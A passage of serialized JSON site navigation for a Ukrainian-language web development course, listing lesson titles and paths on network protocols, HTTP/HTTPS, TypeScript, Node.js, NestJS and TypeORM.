черг","\u002Fclient-server-architecture\u002Fasynchronous-message-exchange-and-queue-protocols","17.client-server-architecture\u002F16.asynchronous-message-exchange-and-queue-protocols",{"title":4009,"path":4010,"stem":4011},"Протоколи потокового медіа та технологія WebRTC","\u002Fclient-server-architecture\u002Fstreaming-media-protocols-and-webrtc","17.client-server-architecture\u002F17.streaming-media-protocols-and-webrtc",{"title":4013,"path":4014,"stem":4015},"Моніторинг, безпека та контейнеризація застосунків","\u002Fclient-server-architecture\u002Fmonitoring-security-and-containerization","17.client-server-architecture\u002F18.monitoring-security-and-containerization",{"title":4017,"icon":2074,"path":4018,"stem":4019,"children":4020,"page":59},"Розробка WEB-застосувань","\u002Fweb-development","18.web-development",[4021,4066,4104,4133,4162,4219,4269,4363,4429,4511,4544,4572,4614,4660,4703],{"title":4022,"icon":658,"path":4023,"stem":4024,"children":4025,"page":59},"Архітектура комп'ютерних мереж та мережеві протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols","18.web-development\u002F01.network-architecture-and-protocols",[4026,4030,4034,4038,4042,4046,4050,4054,4058,4062],{"title":4027,"path":4028,"stem":4029},"Еволюція веброзробки та модель клієнт-сервер","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fweb-evolution-client-server","18.web-development\u002F01.network-architecture-and-protocols\u002F01.web-evolution-client-server",{"title":4031,"path":4032,"stem":4033},"Еталонна модель OSI","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fosi-model","18.web-development\u002F01.network-architecture-and-protocols\u002F02.osi-model",{"title":4035,"path":4036,"stem":4037},"Стек протоколів TCP\u002FIP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-ip-stack","18.web-development\u002F01.network-architecture-and-protocols\u002F03.tcp-ip-stack",{"title":4039,"path":4040,"stem":4041},"IP-адресація, порти та сокети","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fip-addressing-ports-sockets","18.web-development\u002F01.network-architecture-and-protocols\u002F04.ip-addressing-ports-sockets",{"title":4043,"path":4044,"stem":4045},"Протоколи TCP та UDP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-udp-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F05.tcp-udp-protocols",{"title":4047,"path":4048,"stem":4049},"Система доменних імен DNS","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fdns-system","18.web-development\u002F01.network-architecture-and-protocols\u002F06.dns-system",{"title":4051,"path":4052,"stem":4053},"Протокол SMTP та поштові протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fsmtp-email-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F07.smtp-email-protocols",{"title":4055,"path":4056,"stem":4057},"Протокол WebSocket","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fwebsocket-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F08.websocket-protocol",{"title":4059,"path":4060,"stem":4061},"Протокол SSH","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fssh-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F09.ssh-protocol",{"title":4063,"path":4064,"stem":4065},"Огляд сучасних серверних технологій","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fmodern-backend-technologies","18.web-development\u002F01.network-architecture-and-protocols\u002F10.modern-backend-technologies",{"title":4067,"icon":4068,"path":4069,"stem":4070,"children":4071,"page":59},"Протокол HTTP та захищена передача даних HTTPS","i-lucide-lock","\u002Fweb-development\u002Fhttp-and-https","18.web-development\u002F02.http-and-https",[4072,4076,4080,4084,4088,4092,4096,4100],{"title":4073,"path":4074,"stem":4075},"Вступ до протоколу HTTP та еволюція веб-технологій","\u002Fweb-development\u002Fhttp-and-https\u002Fintroduction-and-evolution","18.web-development\u002F02.http-and-https\u002F01.introduction-and-evolution",{"title":4077,"path":4078,"stem":4079},"Анатомія HTTP-запиту","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-request-structure","18.web-development\u002F02.http-and-https\u002F02.http-request-structure",{"title":4081,"path":4082,"stem":4083},"Анатомія HTTP-відповіді","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-response-structure","18.web-development\u002F02.http-and-https\u002F03.http-response-structure",{"title":4085,"path":4086,"stem":4087},"Методи HTTP та їхня семантика","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-methods","18.web-development\u002F02.http-and-https\u002F04.http-methods",{"title":4089,"path":4090,"stem":4091},"Коди статусу HTTP та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-status-codes","18.web-development\u002F02.http-and-https\u002F05.http-status-codes",{"title":4093,"path":4094,"stem":4095},"HTTP-заголовки та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-headers","18.web-development\u002F02.http-and-https\u002F06.http-headers",{"title":4097,"path":4098,"stem":4099},"CORS та механізми безпеки HTTP","\u002Fweb-development\u002Fhttp-and-https\u002Fcors-and-security","18.web-development\u002F02.http-and-https\u002F07.cors-and-security",{"title":4101,"path":4102,"stem":4103},"HTTPS та криптографічні основи TLS","\u002Fweb-development\u002Fhttp-and-https\u002Fhttps-and-tls","18.web-development\u002F02.http-and-https\u002F08.https-and-tls",{"title":4105,"icon":2454,"path":4106,"stem":4107,"children":4108,"page":59},"Система типів мови TypeScript","\u002Fweb-development\u002Ftypescript-type-system","18.web-development\u002F03.typescript-type-system",[4109,4113,4117,4121,4125,4129],{"title":4110,"path":4111,"stem":4112},"Знайомство з TypeScript Compiler","\u002Fweb-development\u002Ftypescript-type-system\u002Fintroduction-compiler-config","18.web-development\u002F03.typescript-type-system\u002F01.introduction-compiler-config",{"title":4114,"path":4115,"stem":4116},"Примітивні типи даних: string, number, boolean","\u002Fweb-development\u002Ftypescript-type-system\u002Fprimitive-special-types","18.web-development\u002F03.typescript-type-system\u002F02.primitive-special-types",{"title":4118,"path":4119,"stem":4120},"Масиви, кортежі та об","\u002Fweb-development\u002Ftypescript-type-system\u002Farrays-tuples-objects","18.web-development\u002F03.typescript-type-system\u002F03.arrays-tuples-objects",{"title":4122,"path":4123,"stem":4124},"Псевдоніми типів, Union типи, Intersection типи та літеральні типи","\u002Fweb-development\u002Ftypescript-type-system\u002Funion-intersection-literals","18.web-development\u002F03.typescript-type-system\u002F04.union-intersection-literals",{"title":4126,"path":4127,"stem":4128},"Type Narrowing (звуження типів)","\u002Fweb-development\u002Ftypescript-type-system\u002Ftype-narrowing","18.web-development\u002F03.typescript-type-system\u002F05.type-narrowing",{"title":4130,"path":4131,"stem":4132},"Типізація функцій","\u002Fweb-development\u002Ftypescript-type-system\u002Ffunctions-typing","18.web-development\u002F03.typescript-type-system\u002F06.functions-typing",{"title":4134,"icon":2454,"path":4135,"stem":4136,"children":4137,"page":59},"Розширені засоби мови TypeScript","\u002Fweb-development\u002Ftypescript-advanced","18.web-development\u002F04.typescript-advanced",[4138,4142,4146,4150,4154,4158],{"title":4139,"path":4140,"stem":4141},"Interfaces та Classes","\u002Fweb-development\u002Ftypescript-advanced\u002Finterfaces-classes","18.web-development\u002F04.typescript-advanced\u002F01.interfaces-classes",{"title":4143,"path":4144,"stem":4145},"Основи Generic типів","\u002Fweb-development\u002Ftypescript-advanced\u002Fgenerics-fundamentals","18.web-development\u002F04.typescript-advanced\u002F02.generics-fundamentals",{"title":4147,"path":4148,"stem":4149},"Enums та Decorators","\u002Fweb-development\u002Ftypescript-advanced\u002Fenums-decorators","18.web-development\u002F04.typescript-advanced\u002F03.enums-decorators",{"title":4151,"path":4152,"stem":4153},"Utility Types","\u002Fweb-development\u002Ftypescript-advanced\u002Futility-types","18.web-development\u002F04.typescript-advanced\u002F04.utility-types",{"title":4155,"path":4156,"stem":4157},"Mapped та Conditional Types","\u002Fweb-development\u002Ftypescript-advanced\u002Fmapped-conditional-types","18.web-development\u002F04.typescript-advanced\u002F05.mapped-conditional-types",{"title":4159,"path":4160,"stem":4161},"Модулі та Strict Mode","\u002Fweb-development\u002Ftypescript-advanced\u002Fmodules-strict-mode","18.web-development\u002F04.typescript-advanced\u002F06.modules-strict-mode",{"title":4163,"icon":4164,"path":4165,"stem":4166,"children":4167,"page":59},"Платформа Node.js як середовище виконання","i-devicon-nodejs","\u002Fweb-development\u002Fnodejs-platform","18.web-development\u002F05.nodejs-platform",[4168,4172,4176,4180,4184,4188,4192,4196,4200,4204,4208,4211,4215],{"title":4169,"path":4170,"stem":4171},"Що таке Node.js та його архітектура","\u002Fweb-development\u002Fnodejs-platform\u002Fwhat-is-nodejs","18.web-development\u002F05.nodejs-platform\u002F01.what-is-nodejs",{"title":4173,"path":4174,"stem":4175},"Event Loop — серце Node.js","\u002Fweb-development\u002Fnodejs-platform\u002Fevent-loop","18.web-development\u002F05.nodejs-platform\u002F02.event-loop",{"title":4177,"path":4178,"stem":4179},"Модульні системи: CommonJS vs ES Modules","\u002Fweb-development\u002Fnodejs-platform\u002Fmodule-systems","18.web-development\u002F05.nodejs-platform\u002F03.module-systems",{"title":4181,"path":4182,"stem":4183},"npm та package.json","\u002Fweb-development\u002Fnodejs-platform\u002Fnpm-package-json","18.web-development\u002F05.nodejs-platform\u002F04.npm-package-json",{"title":4185,"path":4186,"stem":4187},"Глобальні об\\","\u002Fweb-development\u002Fnodejs-platform\u002Fglobal-objects","18.web-development\u002F05.nodejs-platform\u002F05.global-objects",{"title":4189,"path":4190,"stem":4191},"Вбудований модуль fs (File System)","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-fs","18.web-development\u002F05.nodejs-platform\u002F06.built-in-modules-fs",{"title":4193,"path":4194,"stem":4195},"Вбудований модуль path","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-path","18.web-development\u002F05.nodejs-platform\u002F07.built-in-modules-path",{"title":4197,"path":4198,"stem":4199},"Вбудований модуль http","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-http","18.web-development\u002F05.nodejs-platform\u002F08.built-in-modules-http",{"title":4201,"path":4202,"stem":4203},"Streams — потоки даних у Node.js","\u002Fweb-development\u002Fnodejs-platform\u002Fstreams","18.web-development\u002F05.nodejs-platform\u002F09.streams",{"title":4205,"path":4206,"stem":4207},"Вбудований модуль util (Utilities)","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-util","18.web-development\u002F05.nodejs-platform\u002F10.built-in-modules-util",{"title":3097,"path":4209,"stem":4210},"\u002Fweb-development\u002Fnodejs-platform\u002Fenvironment-variables","18.web-development\u002F05.nodejs-platform\u002F11.environment-variables",{"title":4212,"path":4213,"stem":4214},"Інструменти налагодження та розробки","\u002Fweb-development\u002Fnodejs-platform\u002Fdebugging-tools","18.web-development\u002F05.nodejs-platform\u002F12.debugging-tools",{"title":4216,"path":4217,"stem":4218},"Продуктивність та Best Practices","\u002Fweb-development\u002Fnodejs-platform\u002Fperformance-best-practices","18.web-development\u002F05.nodejs-platform\u002F13.performance-best-practices",{"title":4220,"icon":4221,"path":4222,"stem":4223,"children":4224,"page":59},"Асинхронне програмування у Node.js","i-lucide-clock","\u002Fweb-development\u002Fasync-programming-nodejs","18.web-development\u002F06.async-programming-nodejs",[4225,4229,4233,4237,4241,4245,4249,4253,4257,4261,4265],{"title":4226,"path":4227,"stem":4228},"Синхронний vs асинхронний код","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fsync-vs-async","18.web-development\u002F06.async-programming-nodejs\u002F01.sync-vs-async",{"title":4230,"path":4231,"stem":4232},"Callbacks — перша парадигма асинхронності","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fcallbacks","18.web-development\u002F06.async-programming-nodejs\u002F02.callbacks",{"title":4234,"path":4235,"stem":4236},"Promises — стандарт асинхронності","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fpromises","18.web-development\u002F06.async-programming-nodejs\u002F03.promises",{"title":4238,"path":4239,"stem":4240},"Promise комбінатори","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fpromise-combinators","18.web-development\u002F06.async-programming-nodejs\u002F04.promise-combinators",{"title":4242,"path":4243,"stem":4244},"Async\u002FAwait — синтаксичний цукор над Promises","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fasync-await","18.web-development\u002F06.async-programming-nodejs\u002F05.async-await",{"title":4246,"path":4247,"stem":4248},"Паралельне vs послідовне виконання","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fparallel-vs-sequential","18.web-development\u002F06.async-programming-nodejs\u002F06.parallel-vs-sequential",{"title":4250,"path":4251,"stem":4252},"EventEmitter — подієва модель Node.js","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fevent-emitter","18.web-development\u002F06.async-programming-nodejs\u002F07.event-emitter",{"title":4254,"path":4255,"stem":4256},"Worker Threads — багатопотоковість у Node.js","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fworker-threads","18.web-development\u002F06.async-programming-nodejs\u002F08.worker-threads",{"title":4258,"path":4259,"stem":4260},"Child Processes — запуск зовнішніх процесів","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fchild-processes","18.web-development\u002F06.async-programming-nodejs\u002F09.child-processes",{"title":4262,"path":4263,"stem":4264},"Обробка помилок у асинхронному коді","\u002Fweb-development\u002Fasync-programming-nodejs\u002Ferror-handling","18.web-development\u002F06.async-programming-nodejs\u002F10.error-handling",{"title":4266,"path":4267,"stem":4268},"Порівняння Node.js фреймворків","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fnodejs-frameworks","18.web-development\u002F06.async-programming-nodejs\u002F11.nodejs-frameworks",{"title":4270,"icon":4271,"path":4272,"stem":4273,"children":4274,"page":59},"Тема 7. Фреймворк NestJS. Контролери та маршрутизація","i-lucide-route","\u002Fweb-development\u002Fnestjs-controllers-routing","18.web-development\u002F07.nestjs-controllers-routing",[4275,4279,4283,4287,4291,4295,4299,4303,4307,4311,4315,4319,4323,4327,4331,4335,4339,4343,4347,4351,4355,4359],{"title":4276,"path":4277,"stem":4278},"Філософія та архітектура NestJS","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-philosophy","18.web-development\u002F07.nestjs-controllers-routing\u002F01.nestjs-philosophy",{"title":4280,"path":4281,"stem":4282},"Три стовпи архітектури: модулі, контролери, провайдери","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fthree-pillars","18.web-development\u002F07.nestjs-controllers-routing\u002F02.three-pillars",{"title":4284,"path":4285,"stem":4286},"Інверсія керування (IoC) та ін","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fioc-and-di","18.web-development\u002F07.nestjs-controllers-routing\u002F03.ioc-and-di",{"title":4288,"path":4289,"stem":4290},"Встановлення NestJS CLI та створення проєкту","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-cli-setup","18.web-development\u002F07.nestjs-controllers-routing\u002F04.nestjs-cli-setup",{"title":4292,"path":4293,"stem":4294},"Структура проєкту NestJS та конвенції","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fproject-structure","18.web-development\u002F07.nestjs-controllers-routing\u002F05.project-structure",{"title":4296,"path":4297,"stem":4298},"Контролери: основи маршрутизації","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcontrollers-basics","18.web-development\u002F07.nestjs-controllers-routing\u002F06.controllers-basics",{"title":4300,"path":4301,"stem":4302},"Декоратори маршрутизації HTTP-методів","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Froute-decorators","18.web-development\u002F07.nestjs-controllers-routing\u002F07.route-decorators",{"title":4304,"path":4305,"stem":4306},"Параметри маршруту та декоратор @Param","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Froute-parameters","18.web-development\u002F07.nestjs-controllers-routing\u002F08.route-parameters",{"title":4308,"path":4309,"stem":4310},"Query-параметри та декоратор @Query","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fquery-parameters","18.web-development\u002F07.nestjs-controllers-routing\u002F09.query-parameters",{"title":4312,"path":4313,"stem":4314},"Тіло запиту та декоратор @Body","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Frequest-body","18.web-development\u002F07.nestjs-controllers-routing\u002F10.request-body",{"title":4316,"path":4317,"stem":4318},"Робота з заголовками запиту та відповіді","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fheaders-decorators","18.web-development\u002F07.nestjs-controllers-routing\u002F11.headers-decorators",{"title":4320,"path":4321,"stem":4322},"Data Transfer Objects (DTO): визначення та призначення","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fdto-introduction","18.web-development\u002F07.nestjs-controllers-routing\u002F12.dto-introduction",{"title":4324,"path":4325,"stem":4326},"Об'єкти Request та Response","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Frequest-response-objects","18.web-development\u002F07.nestjs-controllers-routing\u002F13.request-response-objects",{"title":4328,"path":4329,"stem":4330},"HTTP-статус коди та декоратор @HttpCode","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fhttp-status-codes","18.web-development\u002F07.nestjs-controllers-routing\u002F14.http-status-codes",{"title":4332,"path":4333,"stem":4334},"Перенаправлення (Redirects) та декоратор @Redirect","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fredirects","18.web-development\u002F07.nestjs-controllers-routing\u002F15.redirects",{"title":4336,"path":4337,"stem":4338},"Асинхронні обробники та Observables","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fasync-handlers","18.web-development\u002F07.nestjs-controllers-routing\u002F16.async-handlers",{"title":4340,"path":4341,"stem":4342},"Маршрутизація за піддоменами та версіонування API","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fsub-domain-routing","18.web-development\u002F07.nestjs-controllers-routing\u002F17.sub-domain-routing",{"title":4344,"path":4345,"stem":4346},"Області видимості контролерів (Scopes)","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcontroller-scopes","18.web-development\u002F07.nestjs-controllers-routing\u002F18.controller-scopes",{"title":4348,"path":4349,"stem":4350},"Основні команди NestJS CLI","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-cli-commands","18.web-development\u002F07.nestjs-controllers-routing\u002F19.nestjs-cli-commands",{"title":4352,"path":4353,"stem":4354},"Практичний приклад: створення CRUD-контролера","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcrud-example","18.web-development\u002F07.nestjs-controllers-routing\u002F20.crud-example",{"title":4356,"path":4357,"stem":4358},"Тестування контролерів","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Ftesting-controllers","18.web-development\u002F07.nestjs-controllers-routing\u002F21.testing-controllers",{"title":4360,"path":4361,"stem":4362},"Best Practices для контролерів та маршрутизації","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fbest-practices","18.web-development\u002F07.nestjs-controllers-routing\u002F22.best-practices",{"title":4364,"icon":4365,"path":4366,"stem":4367,"children":4368,"page":59},"Тема 8. Провайдери, сервіси та модульна система NestJS","i-lucide-package","\u002Fweb-development\u002Fnestjs-providers-modules","18.web-development\u002F08.nestjs-providers-modules",[4369,4373,4377,4381,4385,4389,4393,4397,4401,4405,4409,4413,4417,4421,4425],{"title":4370,"path":4371,"stem":4372},"Концепція провайдерів у NestJS","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fproviders-concept","18.web-development\u002F08.nestjs-providers-modules\u002F01.providers-concept",{"title":4374,"path":4375,"stem":4376},"Сервіси: інкапсуляція бізнес-логіки","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fservices-business-logic","18.web-development\u002F08.nestjs-providers-modules\u002F02.services-business-logic",{"title":4378,"path":4379,"stem":4380},"Практика ін","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fdependency-injection-practice","18.web-development\u002F08.nestjs-providers-modules\u002F03.dependency-injection-practice",{"title":4382,"path":4383,"stem":4384},"Custom Providers: useValue, useClass, useFactory, useExisting","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fcustom-providers","18.web-development\u002F08.nestjs-providers-modules\u002F04.custom-providers",{"title":4386,"path":4387,"stem":4388},"Injection Tokens: рядкові та символьні токени","\u002Fweb-development\u002Fnestjs-providers-modules\u002Finjection-tokens","18.web-development\u002F08.nestjs-providers-modules\u002F05.injection-tokens",{"title":4390,"path":4391,"stem":4392},"Опціональні провайдери та декоратор @Optional","\u002Fweb-development\u002Fnestjs-providers-modules\u002Foptional-providers","18.web-development\u002F08.nestjs-providers-modules\u002F07.optional-providers",{"title":4394,"path":4395,"stem":4396},"Структура модулів: imports, controllers, providers, exports","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fmodules-structure","18.web-development\u002F08.nestjs-providers-modules\u002F08.modules-structure",{"title":4398,"path":4399,"stem":4400},"Feature Modules: ізоляція функціональності","\u002Fweb-development\u002Fnestjs-providers-modules\u002Ffeature-modules","18.web-development\u002F08.nestjs-providers-modules\u002F09.feature-modules",{"title":4402,"path":4403,"stem":4404},"Shared Modules: перевикористання провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fshared-modules","18.web-development\u002F08.nestjs-providers-modules\u002F10.shared-modules",{"title":4406,"path":4407,"stem":4408},"Global Modules та декоратор @Global","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fglobal-modules","18.web-development\u002F08.nestjs-providers-modules\u002F11.global-modules",{"title":4410,"path":4411,"stem":4412},"Dynamic Modules: конфігурація під час виконання","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fdynamic-modules","18.web-development\u002F08.nestjs-providers-modules\u002F12.dynamic-modules",{"title":4414,"path":4415,"stem":4416},"Циклічні залежності та forwardRef","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fcircular-dependencies","18.web-development\u002F08.nestjs-providers-modules\u002F13.circular-dependencies",{"title":4418,"path":4419,"stem":4420},"Lifecycle Hooks: хуки життєвого циклу","\u002Fweb-development\u002Fnestjs-providers-modules\u002Flifecycle-hooks","18.web-development\u002F08.nestjs-providers-modules\u002F14.lifecycle-hooks",{"title":4422,"path":4423,"stem":4424},"ModuleRef: динамічний доступ до провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fmodule-reference","18.web-development\u002F08.nestjs-providers-modules\u002F15.module-reference",{"title":4426,"path":4427,"stem":4428},"Тестування сервісів та провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Ftesting-services","18.web-development\u002F08.nestjs-providers-modules\u002F16.testing-services",{"title":4430,"icon":4431,"path":4432,"stem":4433,"children":4434,"page":59},"Тема 9. Валідація даних та конвеєр обробки запитів у NestJS","i-lucide-filter","\u002Fweb-development\u002Fnestjs-validation-pipeline","18.web-development\u002F09.nestjs-validation-pipeline",[4435,4439,4443,4447,4451,4455,4459,4463,4467,4471,4475,4479,4483,4487,4491,4495,4499,4503,4507],{"title":4436,"path":4437,"stem":4438},"Request Pipeline: конвеєр обробки запитів","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Frequest-pipeline","18.web-development\u002F09.nestjs-validation-pipeline\u002F01.request-pipeline",{"title":4440,"path":4441,"stem":4442},"Pipes: концепція трансформації та валідації","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fpipes-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F02.pipes-concept",{"title":4444,"path":4445,"stem":4446},"Вбудовані pipes: ParseIntPipe, ParseBoolPipe, ParseUUIDPipe","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fbuilt-in-pipes","18.web-development\u002F09.nestjs-validation-pipeline\u002F03.built-in-pipes",{"title":4448,"path":4449,"stem":4450},"ValidationPipe: автоматична валідація DTO","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fvalidation-pipe","18.web-development\u002F09.nestjs-validation-pipeline\u002F04.validation-pipe",{"title":4452,"path":4453,"stem":4454},"Декоратори class-validator для DTO","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fclass-validator-decorators","18.web-development\u002F09.nestjs-validation-pipeline\u002F05.class-validator-decorators",{"title":4456,"path":4457,"stem":4458},"Створення кастомних валідаторів","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-validators","18.web-development\u002F09.nestjs-validation-pipeline\u002F06.custom-validators",{"title":4460,"path":4461,"stem":4462},"Створення власних Pipes","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-pipes","18.web-development\u002F09.nestjs-validation-pipeline\u002F07.custom-pipes",{"title":4464,"path":4465,"stem":4466},"Основи Middleware","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fmiddleware-basics","18.web-development\u002F09.nestjs-validation-pipeline\u002F08.middleware-basics",{"title":4468,"path":4469,"stem":4470},"Практичні приклади Middleware","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fmiddleware-examples","18.web-development\u002F09.nestjs-validation-pipeline\u002F09.middleware-examples",{"title":4472,"path":4473,"stem":4474},"Guards: захисні перехоплювачі доступу","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fguards-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F10.guards-concept",{"title":4476,"path":4477,"stem":4478},"Створення кастомних Guards","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-guards","18.web-development\u002F09.nestjs-validation-pipeline\u002F11.custom-guards",{"title":4480,"path":4481,"stem":4482},"Interceptors: перехоплення та трансформація відповідей","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Finterceptors-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F12.interceptors-concept",{"title":4484,"path":4485,"stem":4486},"Практичні приклади Interceptors","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Finterceptor-examples","18.web-development\u002F09.nestjs-validation-pipeline\u002F13.interceptor-examples",{"title":4488,"path":4489,"stem":4490},"Exception Filters: обробка виключень","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fexception-filters","18.web-development\u002F09.nestjs-validation-pipeline\u002F14.exception-filters",{"title":4492,"path":4493,"stem":4494},"Custom Exception Filters: спеціалізовані фільтри","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-exception-filters","18.web-development\u002F09.nestjs-validation-pipeline\u002F15.custom-exception-filters",{"title":4496,"path":4497,"stem":4498},"Execution Context: контекст виконання","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fexecution-context","18.web-development\u002F09.nestjs-validation-pipeline\u002F16.execution-context",{"title":4500,"path":4501,"stem":4502},"Custom Decorators: власні декоратори","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-decorators","18.web-development\u002F09.nestjs-validation-pipeline\u002F17.custom-decorators",{"title":4504,"path":4505,"stem":4506},"Global Components: глобальні компоненти","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fglobal-components","18.web-development\u002F09.nestjs-validation-pipeline\u002F18.global-components",{"title":4508,"path":4509,"stem":4510},"Pipeline Best Practices: найкращі практики","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fpipeline-best-practices","18.web-development\u002F09.nestjs-validation-pipeline\u002F19.pipeline-best-practices",{"title":4512,"icon":2821,"path":4513,"stem":4514,"children":4515,"page":59},"Інтеграція реляційних баз даних засобами TypeORM","\u002Fweb-development\u002Ftypeorm-integration","18.web-development\u002F10.typeorm-integration",[4516,4520,4524,4528,4532,4536,4540],{"title":4517,"path":4518,"stem":4519},"Робота з базами даних у Node.js через нативні драйвери","\u002Fweb-development\u002Ftypeorm-integration\u002F01-nodejs-database-drivers","18.web-development\u002F10.typeorm-integration\u002F01-nodejs-database-drivers",{"title":4521,"path":4522,"stem":4523},"ORM та знайомство з TypeORM","\u002Fweb-development\u002Ftypeorm-integration\u002F02-orm-and-typeorm-intro","18.web-development\u002F10.typeorm-integration\u002F02-orm-and-typeorm-intro",{"title":4525,"path":4526,"stem":4527},"Налаштування TypeORM у NestJS проєкті","\u002Fweb-development\u002Ftypeorm-integration\u002F03-typeorm-setup-nestjs","18.web-development\u002F10.typeorm-integration\u002F03-typeorm-setup-nestjs",{"title":4529,"path":4530,"stem":4531},"Entity класи та декоратори TypeORM","\u002Fweb-development\u002Ftypeorm-integration\u002F04-entities-and-decorators","18.web-development\u002F10.typeorm-integration\u002F04-entities-and-decorators",{"title":4533,"path":4534,"stem":4535},"Repository Pattern та CRUD операції","\u002Fweb-development\u002Ftypeorm-integration\u002F05-repository-pattern-crud","18.web-development\u002F10.typeorm-integration\u002F05-repository-pattern-crud",{"title":4537,"path":4538,"stem":4539},"Пагінація та фільтрація даних","\u002Fweb-development\u002Ftypeorm-integration\u002F06-pagination-filtering","18.web-development\u002F10.typeorm-integration\u002F06-pagination-filtering",{"title":4541,"path":4542,"stem":4543},"QueryBuilder для складних запитів","\u002Fweb-development\u002Ftypeorm-integration\u002F07-query-builder","18.web-development\u002F10.typeorm-integration\u002F07-query-builder",{"title":4545,"icon":4546,"path":4547,"stem":4548,"children":4549,"page":59},"Зв'язки між сутностями, міграції та оптимізація запитів","i-lucide-git-branch","\u002Fweb-development\u002Fentity-relations-migrations","18.web-development\u002F11.entity-relations-migrations",[4550,4554,4558,4562,4566],{"title":4551,"path":4552,"stem":4553},"Зв'язки One-to-Many та Many-to-One","\u002Fweb-development\u002Fentity-relations-migrations\u002F01-one-to-many-many-to-one","18.web-development\u002F11.entity-relations-migrations\u002F01-one-to-many-many-to-one",{"title":4555,"path":4556,"stem":4557},"Зв'язки One-to-One та Many-to-Many","\u002Fweb-development\u002Fentity-relations-migrations\u002F02-one-to-one-many-to-many","18.web-development\u002F11.entity-relations-migrations\u002F02-one-to-one-many-to-many",{"title":4559,"path":4560,"stem":4561},"Керування міграціями бази даних","\u002Fweb-development\u002Fentity-relations-migrations\u002F03-migrations-management","18.web-development\u002F11.entity-relations-migrations\u002F03-migrations-management",{"title":4563,"path":4564,"stem":4565},"Транзакції у 